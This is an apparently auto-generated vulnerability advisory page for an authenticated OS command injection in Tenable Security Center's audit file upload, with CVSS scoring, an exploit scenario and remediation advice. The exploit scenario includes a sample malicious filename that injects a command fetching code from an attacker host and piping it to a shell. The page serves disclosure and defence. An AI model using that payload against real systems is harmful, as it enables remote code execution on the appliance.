EUVD-2026-46391
GHSA-x2v3-fq4f-vvjj
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable audit upload needing a low-privileged authenticated account (PR:L, AC:L, UI:N); command execution on the appliance escapes the app context to the OS, so S:C with full C/I/A impact.
Primary rating from Vendor (tenable).
CVSS VectorVendor: tenable
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
A filename supplied during file upload is not properly sanitized before being used in system command execution, allowing an attacker to inject shell metacharacters and achieve command injection via the audit file upload functionality.
AnalysisAI
OS command injection in Tenable Security Center (Tenable.sc) lets an authenticated attacker execute arbitrary shell commands by uploading an audit file whose filename contains shell metacharacters, which the application passes unsanitized into a system command. The flaw (CWE-78) carries a CVSS 4.0 base score of 9.4 with high impact to confidentiality, integrity, and availability of both the vulnerable and subsequent systems. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated session (CVSS PR:L) with access to the audit file upload functionality of Tenable Security Center; the attacker crafts an upload whose filename embeds shell metacharacters that get injected into a system command. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The signals are largely consistent and point to a genuine high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a low-privileged Security Center account browses to the audit file upload feature and uploads a file crafted with a malicious filename such as 'audit;curl attacker/x|sh.tar'. When the server processes the upload, the shell interprets the injected metacharacters and runs the attacker's command as the Security Center service account, giving code execution on the appliance. … |
| Remediation | Upgrade Tenable Security Center to the fixed release identified in Tenable advisory tns-2026-19 (https://www.tenable.com/security/tns-2026-19); the exact patched version is not stated in the provided input, so consult that advisory for the precise build to install. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, audit all Tenable.sc access logs for suspicious file uploads and command execution activity, review recent audit file upload history for anomalies, and immediately restrict audit file upload permissions to a minimal set of administrative users only. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Security Center
View allAuthenticated OS command injection in Tenable Security Center allows a low-privileged user to run arbitrary operating sy
OS command injection in Tenable Security Center (formerly Tenable.sc) lets a remote attacker run arbitrary operating-sys
Remote code execution in Tenable Security Center's report-generation subsystem allows an authenticated, non-administrati
Authenticated remote code execution in Tenable Security Center allows an attacker to inject shell metacharacters through
SQL injection in the ticketing REST API of Tenable Security Center (versions before 6.8.0) allows an authenticated non-a
Command injection in Tenable Security Center's file upload handler allows an authenticated low-privilege network attacke
Command injection in Tenable Security Center enables an authenticated administrator to achieve arbitrary OS command exec
OS command injection in Tenable Security Center (formerly Tenable.sc) lets authenticated users abuse the audit file uplo
SQL Injection in the Hardware Inventory report of Security Center 5.11.2. Rated high severity (CVSS 8.8), this vulnerabi
Privilege escalation in Tenable Security Center allows an authenticated Security Manager to manage users outside their a
Command injection (CWE-78) in Tenable Security Center versions prior to 6.9.0 enables a local attacker with write access
Installers of Kaspersky Security Center and Kaspersky Security Center Web Console prior to 12 & prior to 12 Patch A were
Same weakness CWE-78 – OS Command Injection
View allSame technique File Upload
View allShare
External POC / Exploit Code
Leaving vuln.today